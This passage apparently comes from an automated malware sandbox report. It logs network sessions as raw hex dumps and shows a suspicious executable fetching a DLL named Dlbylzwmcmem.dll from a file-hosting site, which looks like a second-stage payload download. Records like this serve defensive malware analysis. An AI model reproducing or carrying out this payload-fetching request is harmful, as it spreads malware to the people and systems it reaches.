c0 85 75 20 d3 68 02 68 3f 79 91 1a 1e 53 bb ee 12 9a 85 75 c1 98 e7 ec 8b ec 76 27 46 79 53 99 e2 52 f5 83 39 ac 96 fb 49 ba a5 49 ff f6 9c 6e 4f 4b f7 03 a6 16 7e aa 61 d7 aa 19 a2 0c 6a 96 0c Data Ascii: ~/'%ripeTknl_+NJLIbTtlWt5{h6Z0$BZ/NN 1@quRE}Y~Lt[AKB7QaYv%dGQI=u hh?ySuv'FySR9IInOK~aj
2021-10-12 00:46:20 UTC	2910	IN	Data Raw: 09 a1 fe e1 8b 91 f0 e1 fe 0d f3 ba 79 f2 35 8d 29 cd 12 fc f6 85 19 0a ee ba a4 ef 73 20 a7 fd 9f e4 0c d4 21 6a c2 ec 87 c1 42 5e e6 95 ba f5 ab 70 0a 1c dd 67 96 f6 77 c0 cb 80 a5 55 a2 48 44 2e b1 68 12 18 12 e3 c0 da 0a 17 29 a2 27 3f 8a 60 da 7a 5c f1 25 e9 77 0c 71 db ca cc c8 aa 3c 6c 8f a0 94 79 bd c8 09 e4 a7 bf e1 a6 a0 59 59 17 d7 8b 23 5d 6b 74 e6 18 47 3c bf 10 7f e6 ac 6b a9 d3 8b ab 33 d4 24 2a 26 6b b2 a7 2d 6a 39 d8 1e 1b 46 03 d8 ee e9 0c 80 35 31 2c 7d fe 6d 69 a3 05 69 1c 77 45 6c fa 07 a4 81 60 65 d3 d8 ac 2a 05 e8 53 46 0f 39 e1 ff 8b 29 25 79 66 0f cc 84 47 14 c0 3b 4f 0c 79 4c 77 09 f7 e4 79 40 bf dc 0b 6c 6f 6e 77 99 76 71 62 b9 56 75 b9 fe 4f 97 c9 56 96 16 ad cc 1d 0a 40 1c c4 79 6d 98 fb 73 4f 10 2c 2e dd 29 29 19 4d 5c 39 71 Data Ascii: y5)s !jB^pgwUHD.h)'?`z\%wq<lyYY#]ktG<k3$&k-j9F51,}miiwEl`eSF9)%yfG;OyLwy@lonwvqbVuOV@ymsO,.))M\9q
2021-10-12 00:46:20 UTC	2926	IN	Data Raw: a0 dd 38 ba 2d 5b ef 7d 10 ed b6 0b 90 d8 b7 f0 6e b4 3f 85 35 f1 d5 f4 3f ec a7 2c 36 8b 4f af a0 c5 89 7c 84 58 1a 4c 02 6e 4a d9 ec 09 20 16 f9 2a 62 f7 87 b2 ec 2b aa 15 91 40 d0 ab 4e 21 a4 b8 93 89 f2 eb ab ea 67 59 4f bd 6d 4a 29 6c 7f 34 a1 d6 ea e3 f6 87 00 36 3e 7a 59 24 37 b0 31 7d a6 a7 86 c3 9f 3f 4a dc 55 f2 b1 6b 1c 1d 24 cf 9a 7a 3f e1 a9 14 f5 47 bf e3 81 c3 2f c9 cf 7e 69 83 a8 f3 74 21 5f eb e7 5c 19 ca 35 2e 87 c0 c3 c2 d0 a8 6a f0 74 0e ab 77 ed 21 74 94 18 57 b0 4c 06 84 76 e6 53 3d 9b 37 9b e4 8e a5 ac 7f 83 23 ee 42 46 86 17 ad 58 72 58 84 dc 64 bd 1c cb ea 61 06 9e 2c 02 02 79 bf ce 71 d9 b6 79 21 29 55 2e 8a 8e 68 4f ae 2e 7d 21 06 72 8b 39 59 f7 59 c6 8a c2 49 9b 92 b5 e6 2c a2 f2 d8 bc 96 bd 52 ee d3 cc 88 0a f7 d2 3a 85 7a 19 Data Ascii: 8-[}n?5?,6O\|XLnJ *b+@N!gYOmJ)l46>zY$71}?JUk$z?G/~it!_\5.jtw!tWLvS=7#BFXrXda,yqy!)U.hO.}!r9YYI,R:z
2021-10-12 00:46:20 UTC	2942	IN	Data Raw: 75 ce 93 28 0d 2a c6 f2 ac bd 95 e0 91 b6 67 0f 37 93 e0 9c da 9f ea e6 e9 1d 44 c7 e9 16 24 62 04 91 0f c6 f4 57 ce eb 8c 73 a3 3a ec c6 8e 9b 2f 1a 9b 32 b0 05 c5 15 3c 97 d4 48 f1 06 c2 38 be 4f e3 4a e1 71 1c 88 66 51 3e 2e 87 9f 53 0c d3 5f 43 f2 af e1 a1 ea 99 aa f0 8e 58 1d c7 0b 97 8b 8e e2 d6 0f 31 f4 34 57 2c 07 b5 fa c2 33 b8 4e 17 48 79 f7 2e 68 3c 4c 82 a1 cb 39 cb 98 6b bb df be 9f 09 c9 75 12 02 15 11 c7 a0 3f 07 f7 52 54 2d 11 e0 12 58 b1 fa 4e 27 19 5e c7 3b 90 31 59 58 bd b3 32 b7 30 58 44 89 20 9c c4 ac 62 b5 c1 dc d5 ba 81 f0 cd 70 3b f8 26 61 3f e6 db 60 36 81 31 d7 bb d0 06 79 14 e8 10 96 7a 93 f6 5c 6a ca e2 15 09 1b 69 48 69 e0 12 3f 8d d3 d9 f5 9e da 01 21 97 7c fc 42 b0 21 cf 80 2e 3d a8 0f cd 7c c1 cc d8 7f 5f 43 1a 9a 79 2c 12 Data Ascii: u(*g7D$bWs:/2<H8OJqfQ>.S_CX14W,3NHy.h<L9ku?RT-XN'^;1YX20XD bp;&a?`61yz\jiHi?!\|B!.=\|_Cy,
2021-10-12 00:46:20 UTC	2958	IN	Data Raw: af 21 4e d3 1b 5a 16 ac da e5 86 9d f7 ef 0e e2 92 74 77 39 6f 45 ba 46 45 9a e9 f6 ed 8f 2b ae 85 79 28 48 99 97 c8 d1 6c 6b fa 5c 75 72 d8 50 b7 06 91 8c 3d 1e 33 c8 b9 f3 cc dd a2 15 6f 27 0d 17 b3 8e d2 86 d6 f4 68 63 1f 87 02 bd e8 9a 6d ea e8 db 2d 3c 95 bb a7 06 e0 8e 6a e5 fa d4 27 20 87 9c 2f f3 e3 d5 d6 94 b9 10 8d 65 c6 1d f6 95 66 5c 96 24 4c 1a cc 3c 19 f7 e0 b4 dd 60 3c d8 f1 23 2d d1 5c 11 03 33 80 f8 ee 5b 44 f8 4f 53 af 6a 1e 52 a3 b3 78 e5 c9 49 87 a4 67 a8 d1 6a c9 05 2b 9d c8 a2 74 b3 b4 b2 4a 03 0c 95 a6 e2 02 1e ae 22 8c 59 58 a3 5a 81 8e 2e 44 e0 56 d1 59 92 76 2f 70 ca 28 6b 8f 92 54 59 33 46 c6 e1 da 19 68 7f 7d 48 3a 78 20 d5 b0 b6 b2 08 a1 c6 8f 75 5f ac b6 5e 9a b5 84 01 ba b5 b4 28 95 85 04 60 4f 2a 95 26 06 5d 26 b5 3e 70 7f Data Ascii: !NZtw9oEFE+y(Hlk\urP=3o'hcm-<j' /ef\$L<`<#-\3[DOSjRxIgj+tJ"YXZ.DVYv/p(kTY3Fh}H:x u_^(`O*&]&>p
2021-10-12 00:46:20 UTC	2974	IN	Data Raw: 01 48 68 b9 eb 7e 38 c0 ce 30 15 38 d3 61 d0 95 c3 85 30 1c c7 bf a0 40 bd 2f 9b 31 b7 8f 83 ab e2 2f 81 da 7f a1 39 45 c0 49 ee 62 75 0c e7 7b 2e f2 09 d8 38 91 91 30 b1 31 70 79 9c e2 ad 92 63 61 1e 2e f9 24 e5 0c 1f 09 66 24 b9 e4 b2 f5 f6 60 79 24 ba db 11 47 52 78 a0 f2 82 24 29 c0 e2 0b 38 7d bc ff 00 fb 69 ae 5f 70 91 13 c9 7a 32 71 c2 c0 57 87 2d d7 13 4c b2 d3 40 2a 77 0e 93 75 e3 cc ac 98 96 8b 94 ae 3f ce 53 66 c1 41 a7 92 e0 09 7b c5 03 b2 7a 24 6d f0 2e 3a 1a e4 2f 4e d0 5a ae ca 16 7f ec 94 72 b1 bc de 91 c8 b0 b0 93 a3 f0 30 5a d0 ec e6 30 a8 31 2e 6f f5 1c 85 73 84 f4 88 83 55 1f 99 c7 7c c5 aa 85 78 38 3e 78 24 b7 72 75 74 fc 05 ae 38 43 8a 33 ea fe 1c c2 72 34 3d 44 52 5d ae da 6d d3 8e b6 7a fd cc 95 b5 7f d5 d1 37 ec d0 00 ac 1c 2d f1 Data Ascii: Hh~808a0@/1/9EIbu{.801pyca.$f$`y$GRx$)8}i_pz2qW-L@*wu?SfA{z$m.:/NZr0Z01.osU\|x8>x$rut8C3r4=DR]mz7-
2021-10-12 00:46:20 UTC	2990	IN	Data Raw: 87 05 b0 92 59 10 a3 e2 09 20 17 db 72 23 16 dd 25 17 f2 c2 3a 5a 85 6d 43 a5 e9 17 91 7f 55 8c e0 c4 81 5f 4c f2 19 8b 0e 6c e5 33 7f 24 f8 a8 3e 5f da 47 66 d9 4b 98 32 40 a3 55 ea 27 28 8c 6f ae 98 f1 dd 51 82 93 56 01 c8 20 e4 25 6b 8c b1 58 c5 fd fa 47 15 ae 86 20 f4 d1 33 e8 cb 9e 40 23 7b 7e 88 9a 2d 25 e7 aa 7e 0f 8e 6f 34 5d 1a 2f a9 f8 ec 02 a0 f1 1d e1 85 9c 05 8d 3f b7 48 d1 89 4c c1 07 aa bf 95 7a 76 ca 7a 66 a6 f1 2f a1 46 ea 92 ba d2 90 4b 19 8f 47 f3 d4 35 91 fa d7 85 39 31 0b a9 84 6f 69 85 31 0f 98 51 42 02 cd 81 9f df 30 cd dd bd f3 26 26 6b 1e c5 3b f5 37 14 01 47 7c a9 ea 00 50 3f f5 19 38 fb 3a 02 fc d1 68 66 f0 85 18 2a 5b 4c ac 6e 8e a7 2f ee a6 71 53 9f 73 af 7a 81 5a 41 c8 80 ee cd a5 b7 6b d8 3a 62 02 21 99 22 8f b9 3c 4c 49 4c Data Ascii: Y r#%:ZmCU_Ll3$>_GfK2@U'(oQV %kXG 3@#{~-%~o4]/?HLzvzf/FKG591oi1QB0&&k;7G\|P?8:hf*[Ln/qSszZAk:b!"<LIL
2021-10-12 00:46:20 UTC	3006	IN	Data Raw: fe b3 0a 4a dd aa 6b 36 15 cb 05 f9 bb 15 2e 68 f2 7d 5a cc 6c 70 6c 4a d1 ed 0d 4c 8f 40 09 8a 44 c0 75 97 9b b9 29 b9 53 ef dc be 76 13 fe ee 5a 43 1f 4d a5 ec 9f 7b dc a8 dd 50 6c b1 6e a7 6f c5 38 ac e3 46 24 be 40 c0 dc 3e 7a 71 e4 df d1 06 23 16 75 20 03 6b 11 21 60 bc 85 9c 64 d2 e2 9f 4d 85 78 2b 7b 0a 84 3d 49 e9 1c 70 9e e3 42 68 6d 26 6a bc 85 13 ce 8e 06 ce d2 17 5f f7 b0 69 fb cb 8a c5 89 d6 27 5e 1e b4 06 e4 a6 c0 6e 1e e1 f0 7c 57 73 82 cb d8 ce 66 a6 0a 7d b0 c4 e8 f3 36 cc 73 78 3b 53 49 bd f4 9f 20 7a 06 37 7e bf d3 09 5c d5 d5 07 e6 a6 23 d1 41 53 e3 fb 6a 48 1c c3 9e dc 54 9b 5a 4c db 24 a5 db 17 97 83 8e d3 7a 3c 8d 13 b6 ae 12 c0 b3 d3 40 c3 08 51 87 66 39 bb 01 09 a0 44 3d aa 51 c8 94 2a 77 e9 4a 8f 87 50 87 f0 4a 39 02 32 59 cd 95 Data Ascii: Jk6.h}ZlplJL@Du)SvZCM{Plno8F$@>zq#u k!`dMx+{=IpBhm&j_i'^n\|Wsf}6sx;SI z7~\#ASjHTZL$z<@Qf9D=Q*wJPJ92Y
2021-10-12 00:46:20 UTC	3022	IN	Data Raw: 2f f3 55 18 b3 9a 04 bc ad cc ba 8d 24 3f d4 bb 04 46 51 d6 a1 53 52 39 fd c6 c6 ee fe 8e b8 87 9d 6e fd 68 a8 f3 48 54 78 de 65 66 da 72 42 f1 b7 73 09 68 a7 7e 42 ba 49 ac bb e6 f0 f3 4d fd 1d cd 14 2e 32 ec 2c 59 5a f8 d0 89 28 5c ac 96 cf 48 31 5e 6b 84 01 66 86 31 c1 4a e3 d2 42 c5 08 fc fa de 35 5d e9 f6 ac 28 d5 45 f8 b1 85 9c 0e 85 24 c3 33 59 ed 08 ae be a1 33 3a 29 bb 0b 00 35 d9 4c 33 c6 f5 72 0b 84 2c 6d 82 5e 52 d4 6c 2f 81 7c 6d 7d c1 fa 0e ff 35 0f c9 a4 b6 80 91 c6 53 ce 99 11 75 36 5c b2 e1 a5 78 9d 1b da ce 3a 99 a4 dc bd 51 1f d3 12 5b 29 09 7b ea 73 27 74 b0 90 28 84 77 33 ae d8 d4 98 89 3b d2 79 74 34 fb 3b da e0 65 6d 20 d0 50 ce 5b 44 fa bb cd 15 84 f5 d6 c2 ff 42 b2 e9 46 80 ea 55 64 d4 56 e4 cd d2 d3 d1 28 73 fa cc 73 bb 13 f8 56 Data Ascii: /U$?FQSR9nhHTxefrBsh~BIM.2,YZ(\H1^kf1JB5](E$3Y3:)5L3r,m^Rl/\|m}5Su6\x:Q[){s't(w3;yt4;em P[DBFUdV(ssV
2021-10-12 00:46:20 UTC	3038	IN	Data Raw: b9 7b 07 f7 e6 9a 7c 6d 9a 5b 5c 57 03 4c 98 53 02 50 cd 47 a2 5b ea 9b 39 4a 08 e7 3a ed 1a d4 69 cc 5b 8d 6f f4 13 71 cd d1 dc e0 b0 c3 8c d1 c3 1a c5 1a 78 47 e4 b1 a1 3e 7c e5 7f 73 03 11 ef 9b 6a 09 2b bb b5 e4 b0 ea 3d 21 b2 b5 39 ad fe 90 e2 d5 1a 13 b1 ff 25 dd 0e ff ef 19 82 7a 56 31 37 92 92 49 0d 30 d1 ff 1d 69 17 a0 38 26 d9 c0 cf 70 31 4b d8 94 cb 86 a4 f8 5d 73 de 69 90 9f dc 43 c9 e5 ba 09 52 a6 0d 74 af c3 a0 1c 97 90 8a c4 b7 05 cb e2 de 7f f1 d9 34 41 34 91 dc e1 3b df e9 06 ae 41 b5 d9 74 a8 72 b4 29 da cc 79 e6 5a b8 ae 0c 90 58 b8 2f d1 f1 63 a8 a9 8e ae dc c4 2c 72 fb 8f 76 21 20 77 a0 fe 68 a3 ad 80 92 1e 69 0f 1f 12 2a 57 a9 93 bc 0f 97 cf a9 8e 46 54 25 d1 7a 83 31 00 9b 47 7e bf 00 bc c3 fb 0b 53 c1 18 ad cb 3f 62 ff b2 a6 09 eb Data Ascii: {\|m[\WLSPG[9J:i[oqxG>\|sj+=!9%zV17I0i8&p1K]siCRt4A4;Atr)yZX/c,rv! whi*WFT%z1G~S?b
2021-10-12 00:46:20 UTC	3054	IN	Data Raw: 7a 51 14 e7 00 be 9c 96 3c 40 47 b3 51 f2 19 66 0b 44 db 7f e3 4b 3f 4e d8 d2 ea 12 59 15 c1 db 58 4f 62 dc 51 77 29 3c 13 e2 af 4e ed cc 3d 0f 93 06 83 a4 ee 1b 8d ae 9e 51 3d 15 9e 59 ed 80 b0 9b 7a 4e 89 a5 e6 25 1d 9e c9 46 17 70 8a 0d 94 ce cf cd 94 62 c8 ef ba 02 b1 05 38 45 11 7b 93 01 6c 3e 7d ea 73 4a b4 88 fb de 6d aa e0 56 80 1f 7e d8 97 a3 7f ca 81 ec 9b cf b1 ba e9 6e ea 37 5c 8c 8e 6b d4 82 cd cf 85 18 97 9f 4c 54 67 2f 32 cf e2 ca 5e 68 4d 0f f5 bc 6a ac f0 5f f0 ce 7e fa 20 ca ce fc 84 1d fd f9 a8 e9 89 f6 79 be 53 20 ac 0d 48 91 ef 7f 44 6a 25 f4 f2 8e 52 31 22 17 79 94 16 92 b2 d3 4a 34 bc e2 4f dd 2c ff da b4 f9 92 1b be aa fd cc e9 7a 95 39 96 dd 1e 54 b5 c4 f8 73 cc f1 24 1d 6e 7f 07 c5 a3 c8 65 9a 78 89 6d 94 4b c2 aa 4a b5 6b 56 06 Data Ascii: zQ<@GQfDK?NYXObQw)<N=Q=YzN%Fpb8E{l>}sJmV~n7\kLTg/2^hMj_~ yS HDj%R1"yJ4O,z9Ts$nexmKJkV
2021-10-12 00:46:20 UTC	3070	IN	Data Raw: 13 41 d0 73 e9 95 02 cc 69 72 6c 8f 96 68 8f d1 62 3f ee e6 60 ec a1 ff 2e 6c 95 89 8f 21 6d e1 18 0b 52 ae 44 19 b5 0c 96 ac 4c 79 40 13 d8 41 83 c2 7e 69 dd 0d 0f cb 7b 1f b5 53 57 2a f6 7b a2 b6 4b 91 64 0e 1b 00 ff 04 1a c0 0e 7d 4e d0 1e c7 17 d2 47 d2 fa 33 c8 94 60 04 bc d8 a5 b6 9c fc 0d e8 62 df d2 96 f1 19 c3 fe 09 0c 28 da 73 12 95 75 11 c5 52 59 ad b4 04 5d 5d 67 7e ea f3 be 3c 9e 3f f7 89 08 d4 a9 c9 bd f0 c5 1a d1 42 16 b4 1b fa 48 76 e3 8f 04 8a 10 db 65 3c 0f c0 3d 26 43 f9 24 e6 fe 00 1f 02 27 d9 66 36 00 5b df 9c 42 6e 9b 2f fe 76 b2 89 cd 42 17 a7 5b 89 85 f6 ed ff 40 12 c8 95 01 95 bf e6 5e 9f 03 7b 5d d3 b5 62 15 3a ef 68 07 bb 36 7d 9e f7 fd c5 14 5d e8 21 39 d7 86 af 66 d9 2b e7 c6 2f b0 34 ee 71 a2 e6 bc 5b d3 51 10 93 7c f3 1e 11 Data Ascii: Asirlhb?`.l!mRDLy@A~i{SW*{Kd}NG3`b(suRY]]g~<?BHve<=&C$'f6[Bn/vB[@^{]b:h6}]!9f+/4q[Q\|
2021-10-12 00:46:20 UTC	3086	IN	Data Raw: 0d 38 d3 c3 f6 8b 06 18 37 20 d1 18 ba da d6 8d 6d 0d 00 53 3f 85 f5 37 95 7f 82 fe c2 f9 22 13 90 23 16 1e 80 7c b2 29 e1 4b 65 5a 8f 03 44 28 81 b0 7d 7b 1c fe 0b e7 7b 97 70 73 4d fc 1c a2 4f d4 43 0f cc a3 60 d3 e4 14 dc 1c f3 63 04 4a 7d 12 41 5a ef c8 dd c5 18 71 45 19 9e a7 e0 d6 cb 8e 30 26 e2 59 10 f0 33 96 87 65 78 84 fe 6c 18 48 4d 7a 39 ae a6 b0 7e fc 98 2a 9f 31 ad ee b4 62 9d 82 23 99 72 65 f3 31 e7 bc 83 48 70 cc 04 14 21 a9 29 06 e1 a7 0a a3 6c aa d4 25 78 ac 13 ff 99 1d d7 9b a1 5e 60 cb 98 08 8f 15 1d ba 1e c6 f8 f3 9b 0b a3 05 3a 62 ab cb 6c 39 d8 c8 8d d0 11 bf b7 5b 48 64 4a 33 88 26 ec fa 5e 3a 2a 6d a7 dc 04 3a 3e 95 9f 3a 4a d0 42 19 5c 51 f6 fc d7 86 01 25 bf f3 d8 b9 31 03 96 51 19 bd 80 9d 35 9f ef 90 b3 91 ad e6 f1 ad 85 d0 94 Data Ascii: 87 mS?7"#\|)KeZD(}{{psMOC`cJ}AZqE0&Y3exlHMz9~1b#re1Hp!)l%x^`:bl9[HdJ3&^:m:>:JB\Q%1Q5
2021-10-12 00:46:20 UTC	3102	IN	Data Raw: 6a 7c b3 97 67 d7 44 63 d8 18 fe 31 9b d3 fd af 6c a4 4e 0d d6 41 53 ef b8 f3 aa c7 1f 84 7f ed 1c 37 57 fa 5e f0 2a 09 b1 4b 6c 61 d5 d9 a1 9a ce 90 e1 70 ab 66 b2 16 43 93 88 1d fb 5d 6a 24 24 15 65 ea 34 68 3e 26 d0 7a f2 ee 8d f4 62 15 55 b5 b3 ce 43 e4 56 91 8f 1d d7 e3 5f 86 53 1f 4a 32 ff b7 4d 20 21 20 a5 28 7c aa c6 7c 8b 0f 07 39 96 e3 90 49 92 d1 63 c3 33 e5 7d 20 25 6e 09 26 cf 4e 54 8f 83 33 b7 b4 2c 4d 80 cb 3b d4 af e5 2c b9 a3 c2 1f 6a 08 6e f8 a0 82 f6 2b 5e cd 87 ef 49 df ae 27 12 c0 8a 7a b1 5b 8b 2a 2d 73 c8 b4 c5 ad ae 43 41 f7 8c da e9 e0 2f 3c 13 ef 8a 61 e1 26 35 9d 78 a3 38 40 f7 ed 0c 5c 22 e9 1b cb 5c a1 ef 2c 96 29 7e 9b 7d 8d b6 9f 2e 70 59 ca 63 d0 4d c7 af db 26 be da 84 5d bc 30 69 29 80 3d 4d cb 41 24 fe 76 14 a0 ae f3 a6 Data Ascii: j\|gDc1lNAS7W^KlapfC]j$$e4h>&zbUCV_SJ2M ! (\|\|9Ic3} %n&NT3,M;,jn+^I'z[-sCA/<a&5x8@\"\,)~}.pYcM&]0i)=MA$v
2021-10-12 00:46:20 UTC	3118	IN	Data Raw: f0 a1 31 f5 d2 c9 38 db 1a ed 5a 85 64 ff d7 a0 e8 f8 e3 8f 51 5b a4 14 04 2b bc 04 d6 b4 64 0a 86 ab 8c 8e 63 b7 06 52 27 00 d7 51 79 78 f9 3c 67 ba 10 4a 0c d8 a8 e9 e8 8c 4f 8b 95 de ca 29 26 6a 0b 8e fb 16 fa 5a d3 51 8c 73 8c ab 16 21 df 27 97 2c 6a e8 db 7a 6f 37 a7 86 bd d7 64 9b ef 02 d7 d6 cd c5 c2 1c db 22 2d 57 0c f7 b7 47 44 4e 5b 2e 40 bd 74 2b 03 31 00 c3 83 d3 e2 a9 e5 09 ba bb 16 a7 65 b3 9e 3c 75 06 17 c1 61 1d 8c 18 4d 7f 39 b5 0a 5e 36 ce a7 7c 04 0e 5b 66 c1 2e 1c 43 eb 18 1e ab 7d 34 9d 85 84 0d 71 52 81 9b 52 48 b6 f5 f6 47 19 60 0a 4f 00 a5 13 95 61 d3 c7 77 8a 54 f2 48 51 f6 66 48 6b 38 f4 08 ef e4 64 b9 03 85 09 28 4d 52 45 9d ce 95 39 64 82 6c 16 6b 35 25 da f6 1d 3c f8 99 fd cf eb 42 23 b2 e6 02 71 7d a0 be 04 5a a2 fd 10 02 b1 Data Ascii: 18ZdQ[+dcR'Qyx<gJO)&jZQs!',jzo7d"-WGDN[.@t+1e<uaM9^6\|[f.C}4qRRHG`OawTHQfHk8d(MRE9dlk5%<B#q}Z
2021-10-12 00:46:20 UTC	3134	IN	Data Raw: f1 f6 7e df a9 91 74 1e e2 21 35 48 18 ce 6d a2 f9 72 28 ce da c2 42 07 4f 11 b0 3a 32 e7 0f a8 8e 1e 14 36 9a 5c 46 e9 6b 34 10 3b 16 e2 d3 61 36 a3 8e 53 53 3e a1 07 81 a1 c9 5a d8 c2 66 cc 35 82 f2 45 b7 af fc e1 70 cf a6 5f c5 93 2f 60 4d 1a 73 43 c2 5c a9 c3 bb 2d 11 00 61 45 e7 40 30 8a e4 7a 66 36 2d a7 a5 83 68 36 46 3d 39 1d 38 ec 66 f0 40 a8 8e b3 b1 88 40 75 00 b4 df 7c 32 5e 39 5d bd 63 bb 1a 45 62 cf fe ab 6a 79 71 2e 7c 1f c4 a6 37 63 00 7d 79 b0 73 c0 49 3e 59 a8 58 67 5c f1 fc bc 74 94 6b 3d 55 b5 b2 a6 79 b7 26 b7 57 16 60 f2 31 24 be b5 39 e9 24 74 3b 03 93 22 a7 cc cd 8e 07 5e 72 5a ab f7 5e 85 eb 2f cf 90 74 b5 c4 d9 1b 28 fe 66 93 16 57 8f 7c cc 5e 22 40 f4 10 e6 0c 52 f2 c6 19 30 9d ba 1e a1 15 1a b7 97 07 44 b3 2e 61 ae 75 24 94 ff Data Ascii: ~t!5Hmr(BO:26\Fk4;a6SS>Zf5Ep_/`MsC\-aE@0zf6-h6F=98f@@u\|2^9]cEbjyq.\|7c}ysI>YXg\tk=Uy&W`1$9$t;"^rZ^/t(fW\|^"@R0D.au$
2021-10-12 00:46:20 UTC	3150	IN	Data Raw: 5a 07 56 75 32 2c f8 94 67 ed 77 df 5b 0e 44 03 b0 af 25 88 a4 bc 48 4d b1 f3 2d bc 68 2c e2 6c e9 bb d7 ee a0 ea 98 37 e8 e2 6e c1 88 35 27 bc a9 17 27 06 e2 15 ea d8 bd 7d 7b 9f de 7e 90 21 f1 04 0f 6f cb 9a 0b e9 ab 0d 5b 88 f3 40 20 e9 d3 b5 79 92 1a 97 71 44 2f b4 1b ab a3 d3 24 a3 e0 8d a4 8f 5b da a3 4e dd 8e b8 f1 5c bc 0c 45 82 41 47 c9 cc d8 79 a8 c3 11 02 da ba 1a 87 ed bf f8 8e 49 d0 e2 11 3e 3f 71 71 34 8a 8d 25 a2 49 ea ac c7 80 a6 dc 1c dd 03 1d 33 10 1b dd 18 93 2f 27 fa de 82 fa 2e 9e c4 b2 dc 8a 6d 91 2f 9d 1c 47 07 4b d9 58 ac 32 db f6 9c b2 52 bc ee 34 f9 bd cd b6 8f bc 12 ba 06 8d 59 41 b3 67 ae 38 7f 40 4d fe 84 b0 37 3f d1 26 02 7d 2e d1 71 ff 50 a9 9c 3b 1b 88 9b 83 a0 59 00 3c ce 1f 1e 00 85 20 b2 15 96 36 b2 a0 d3 59 aa a9 9a e2 Data Ascii: ZVu2,gw[D%HM-h,l7n5''}{~!o[@ yqD/$[N\EAGyI>?qq4%I3/'.m/GKX2R4YAg8@M7?&}.qP;Y< 6Y
2021-10-12 00:46:20 UTC	3166	IN	Data Raw: 41 a6 73 68 57 60 5c 15 1b a5 ad 15 94 b3 94 96 04 eb b7 77 d0 95 43 8f 22 49 0f 9b 7d b1 80 3e 03 43 78 31 8a 95 a6 31 34 6e 2b 89 9c 5a 55 c3 a1 d8 47 ef fe be dd ba b8 0f cd 16 1d 2f 7f 7e 96 52 8e 48 ab b0 af 7a 16 ef 6c 8d e1 31 cd 8f db cd 86 fc aa 53 db 08 33 2c 7b 6a ee 51 ba 82 1e c3 2c db c4 18 b2 27 4b 9b bd 33 a3 0b d8 78 53 62 80 bf a3 ec 56 2c fe 86 83 4f 7c e9 34 f9 f1 b6 db 40 6e 74 96 bd 39 cf d2 e3 6f 5f b3 c3 e2 72 5f 01 a6 4c d1 bc e3 d7 9c d7 ee 71 ab df b4 dd aa 68 e0 4f d1 c5 6a 76 f4 45 9f 24 9c 9a b0 22 2b 01 05 f6 8b 84 5a 0f e0 b4 4c 28 fd 03 1a ab 51 63 da f8 77 79 6b d9 ea ec e9 0c 21 22 55 e5 cc a7 fa cf 35 02 4c 14 7a 95 84 01 a3 f4 96 7f 82 0f a7 ef 34 1e bf c7 be b2 30 a6 4a 55 ce 35 be d1 10 b5 30 2c 5f 14 f8 7d 81 94 18 Data Ascii: AshW`\wC"I}>Cx114n+ZUG/~RHzl1S3,{jQ,'K3xSbV,O\|4@nt9o_r_LqhOjvE$"+ZL(Qcwyk!"U5Lz40JU50,_}
2021-10-12 00:46:20 UTC	3182	IN	Data Raw: a4 8f 2b 19 63 60 36 b6 00 f7 69 b6 0c 47 f0 3f bb fd 38 f8 da 97 48 38 81 b8 84 7f 4a e5 eb d1 07 b3 8e 05 4f 06 49 4c 0c 4f 02 fd 76 71 17 a3 6d 47 05 84 2e 3d 41 cb 25 49 1c 37 39 15 42 5a 6d 0c 27 36 5f eb 0d bb 89 d1 1b a5 2e 88 45 8e a2 10 5e 70 26 97 e4 83 9d 30 59 b9 8e 8b 61 6f 14 6e 32 dc 57 49 ab 8f b8 43 1e 11 23 ad 1b d6 eb 02 87 a5 a1 c9 50 77 98 50 5e 55 c9 4a 74 62 d3 3f 44 ed 1c a9 e5 1e 8e c1 f2 e6 78 05 f3 9d 57 1d 12 99 e6 13 1a 9d 6b c2 e4 fd 70 bf d5 00 8b 96 c0 4e d2 1a 6c d0 3f 5f 84 db 79 cf 04 ff 05 68 a3 b3 ef 13 ff 2c 3c 04 22 d0 9c 3d c1 81 48 5a 1b 4f 59 e4 fe 01 51 35 05 3b 49 49 ce d9 c3 44 c0 7b 45 63 54 50 2b 01 ef 22 26 4d 00 09 cb b8 c8 b3 1d 1c ef 21 83 2c 55 c7 ad b6 6c fe 25 4a 37 79 96 a8 09 cf cf 62 41 78 d2 6f 5c Data Ascii: +c`6iG?8H8JOILOvqmG.=A%I79BZm'6_.E^p&0Yaon2WIC#PwP^UJtb?DxWkpNl?_yh,<"=HZOYQ5;IID{EcTP+"&M!,Ul%J7ybAxo\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49752	31.14.69.10	443	C:\Users\user\Desktop\FYrMKmDjFi.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-12 00:46:28 UTC	3189	OUT	GET /download/6f4c6241-0142-4b69-a781-3b6b1e13dbb5/Dlbylzwmcmem.dll HTTP/1.1 Host: store2.gofile.io Connection: Keep-Alive
2021-10-12 00:46:29 UTC	3189	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Disposition: attachment; filename="Dlbylzwmcmem.dll" Content-Length: 1088008 Content-Type: application/octet-stream Date: Tue, 12 Oct 2021 00:46:29 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Powered-By: Express X-Xss-Protection: 1; mode=block Connection: close
2021-10-12 00:46:29 UTC	3189	IN	Data Raw: 5b db 98 8f 52 c7 a2 c3 18 df 30 d4 99 08 c4 fb 6d 31 ef 51 86 58 f2 0e cc 2f 68 51 df 3a ea cb 59 65 4e b6 a1 98 58 60 59 65 4e b6 a1 98 58 60 59 65 4e b6 a1 98 58 60 ad 70 c2 2e f4 17 6c fc 28 04 1a 10 3e ca 95 94 39 3c 7d 1c af 33 26 7c 0f 81 28 fd ab df 9c 1d f2 11 11 7d 15 6e 15 2c b8 71 33 0c 4a ef fd 09 47 55 5b 98 e5 d5 35 8a ac 13 80 e1 bd 99 dc 60 ab 75 8e dc 7a c4 78 cb 35 83 fa 7e 5b 7c c7 3c 7c 16 6d 9e 7a ad 90 8e ea e9 0e 2b 4c 20 f8 fd 7a 5f 5f 54 70 1d b6 b9 e6 66 70 5c 21 62 8e 2e 39 cd c7 23 6f ea 9f 2c 7e 3b 4e 22 7a b3 1b ec bb 35 ce 3c d9 ed 70 ff 1e bc ed 0d 07 82 a7 ff 1e bc ed 0d 07 82 a7 ff fe 93 d9 59 d3 da 25 ed aa eb 79 16 50 21 d5 36 05 e9 0f 49 0f 6b bf 25 05 e9 0f 49 0f 6b bf 25 4c ff 8a e0 11 69 f7 a0 59 65 4e b6 a1 98 58 Data Ascii: 